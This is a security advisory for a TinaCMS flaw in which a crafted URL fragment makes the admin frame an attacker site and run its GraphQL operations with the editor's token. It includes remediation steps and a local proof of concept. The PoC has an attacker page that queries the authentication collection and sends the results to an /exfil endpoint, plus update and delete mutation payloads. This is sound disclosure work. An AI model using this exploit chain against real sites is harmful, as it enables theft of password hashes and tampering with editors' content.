CVE-2026-108261: TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

The admin route /~/* turns the hash-router splat into the iframe src, with a leading / meant to force a relative path. For #/~//attacker.example/p, react-router-dom 6.30.3 returns the splat with its own leading slash, so the URL becomes the protocol-relative //attacker.example/p. The admin frames the attacker's site (CWE-346, CWE-601).

The same string also sets expectedOrigin, the only trust anchor for the admin and preview postMessage channel. The attacker's frame therefore passes the origin and source checks. It can send an open message with any GraphQL string. The admin runs it with the editor's token and posts the result back to the attacker's origin (CWE-441, confused deputy). Mutations such as updateDocument, createDocument and deleteDocument pass through unchanged.

The attacker needs only to get a signed-in editor to open one link. The payload sits in the fragment, so it never reaches server logs. The attacker reads and writes whatever the editor can, including, on self-hosted setups, the authentication collection with password hashes. The route exists in every tinacms build output and in tinacms dev, and no setting turns it off.

Affected: tinacms up to and including 3.13.0, and @tinacms/app up to and including 2.5.13. The reporter tested tinacms 3.12.1 and @tinacms/app 2.5.12 only, and the lower bound is not established. An earlier fix in tinacms 3.9.3 and @tinacms/app 2.5.6 added a sender-side origin check but did not validate the URL it compared against.

Check your project:

npm ls tinacms @tinacms/app

Every site that serves the TinaCMS admin bundle is affected.

Upgrade to tinacms 3.14.0 and @tinacms/app 2.5.14 or later, then rebuild and redeploy so the admin bundle is regenerated:

npm install [email protected] @tinacms/[email protected]

The fix resolves the splat against the admin's own origin. If the result points elsewhere, the preview stays on / and shows a warning. getExpectedPreviewOrigin is replaced by getPreviewOrigin, which returns window.location.origin. The sources give no workaround.

The attack lives in the URL fragment, so server logs do not show it. Look for admin links shared by email or chat that contain #/~// followed by a hostname. In a browser, an editor's admin tab with a cross-origin iframe is a sign. On the content side, review recent document changes, deletions and newly created documents made under editor accounts for edits the editor did not make. Check the content API logs for unusual queries from editor tokens, such as reads of the authentication collection.

Summary

The TinaCMS admin builds its preview <iframe src> from the /~/* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.

One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.

Details

Root cause — the router splat becomes the frame source with no same-origin check:

packages/tinacms/src/admin/index.tsx:16     HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329      path='/~/*'
packages/tinacms/src/admin/index.tsx:173    const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176    const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24        src={props.url}

The leading / is meant to force a relative path, but [email protected] returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.

The trust anchor is then computed from that same value:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212   getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22           return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46        event.origin !== expectedOrigin -> reject

Both guards pass for the attacker: event.origin *is* expectedOrigin, and event.source *is* the frame the admin itself loaded.

PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.

Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624   'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978   cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505   postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.

Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/* whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.

Incomplete-fix note: [email protected] / @tinacms/[email protected] (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.

Affected-range basis, stated plainly: I tested only [email protected] / @tinacms/[email protected] (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.

Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.

PoC

Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by [email protected].

Setup

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts [email protected] [email protected] [email protected] [email protected] [email protected]

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):

import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
  log('cms.api.tina.request() called with attacker query', query);
  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212
  React.useEffect(() => {
    log('expectedOrigin derived from preview url', { url, expectedOrigin });
    (window as any).__poc_expectedOrigin = expectedOrigin;
  }, [expectedOrigin, url]);

  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
    if (event.data.type === 'open') {                                                     // :613-624
      log('ACCEPTED "open" message from', event.origin);
      const expandedData = await tinaRequest(event.data.query);                           // :973-978
      postMessageToPreview(iframe.current?.contentWindow,
        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
      log('posted query result to', expectedOrigin);
    }
  }, [expectedOrigin]);

  React.useEffect(() => {
    window.addEventListener('message', handleMessage);
    return () => window.removeEventListener('message', handleMessage);
  }, [handleMessage]);
}

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
  useGraphQLReducer(props.iframeRef, props.url);
  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24
};

const PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210
  const params = useParams();
  const navigate = useNavigate();
  const [url, setURL] = React.useState(`/${params['*']}`);
  const [reportedURL, setReportedURL] = React.useState<string | null>(null);
  const ref = React.useRef<HTMLIFrameElement>(null);
  const paramURL = `/${params['*']}`;
  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
  React.useEffect(() => {                                                 // admin/index.tsx:189-200
    setInterval(() => {
      if (ref.current) {
        const url = new URL(ref.current.contentWindow?.location.href || '');
        if (url.origin === 'null') { return; }
        const href = url.href.replace(url.origin, '');
        setReportedURL(href);
      }
    }, 100);
  }, [ref.current]);
  React.useEffect(() => {
    log('iframe src computed from router splat', { "params['*']": params['*'], url });
    (window as any).__poc_iframeSrc = url;
  }, [url]);
  const PreviewCmp = preview;
  return <PreviewCmp url={url} iframeRef={ref} />;
};

createRoot(document.getElementById('root')!).render(
  <Router>
    <Routes>
      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}
      <Route path='/' element={admin dashboard} />
    </Routes>
  </Router>
);

victim/index.html:

<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
  parent.postMessage({ type: 'open', id: 'poc-1',
    query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
    variables: {}, data: {} }, '*');
  window.addEventListener('message', (e) => {
    if (e.data && e.data.type === 'updateData') {
      fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
    }
  });
</script></body></html>

run.cjs — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
 if(onHit)onHit(req.method+' '+u.pathname+u.search);
 if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
 const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
 if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
 return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
 const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
 for(const scenario of ['control','attack']){attackerHits.length=0;
  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
  page.on('console',m=>logs.push(m.text()));
  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Run

cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
  --loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs

Observed output (captured verbatim)

{
  "control": {
    "hash": "#/~/posts/hello-world",
    "iframeSrc": "/posts/hello-world",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~/posts/hello-world",
      "http://127.0.0.1:8801/posts/hello-world"
    ],
    "attackerServerHits": [],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
    ]
  },
  "attack": {
    "hash": "#/~//127.0.0.1:8802/evil.html",
    "iframeSrc": "//127.0.0.1:8802/evil.html",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
      "http://127.0.0.1:8802/evil.html"
    ],
    "attackerServerHits": [
      "GET /evil.html",
      "GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
    ],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
      "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
      "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
      "[victim] posted query result to \"http://127.0.0.1:8802\""
    ]
  }
}

Expected vulnerable output — in attack: iframeSrc protocol-relative, expectedOriginTrustedByAdmin equal to the attacker's origin, a frame served by the attacker, and both GET /evil.html and GET /exfil?data=... on the attacker server. All held.

Control — #/~/posts/hello-world keeps the frame same-origin, keeps expectedOrigin on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.

Supporting check — attacker mutations survive `expandQuery` and validate against a real Tina schema

mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts [email protected] [email protected]
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
  READ: `query { movieConnection { edges { node { _values } } } }`,
  MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
  MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
  const errs = G.validate(schema, G.parse(printed));
  console.log(`--- ${n} ---`);
  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs

Observed output:

--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation

Supporting check — router splat behaviour

mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts [email protected] [email protected] [email protected]
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs

Observed output:

"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"

Scope of the proof. Executed and observed here: the protocol-relative url, the cross-origin frame load, the attacker origin becoming expectedOrigin, the repository's real isFromTrustedPreviewOrigin accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — cms.api.tina.request was stubbed deliberately so the PoC contacts no external service and writes no data.

Cleanup

rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

All three PoCs were re-run after this report was drafted; the outputs above are those runs.

Impact

Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the authentication collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (updateDocument, createDocument, deleteDocument), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.

Impacted: every deployment serving the TinaCMS admin bundle (tinacms build output or tinacms dev). No configuration disables the /~/* route.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)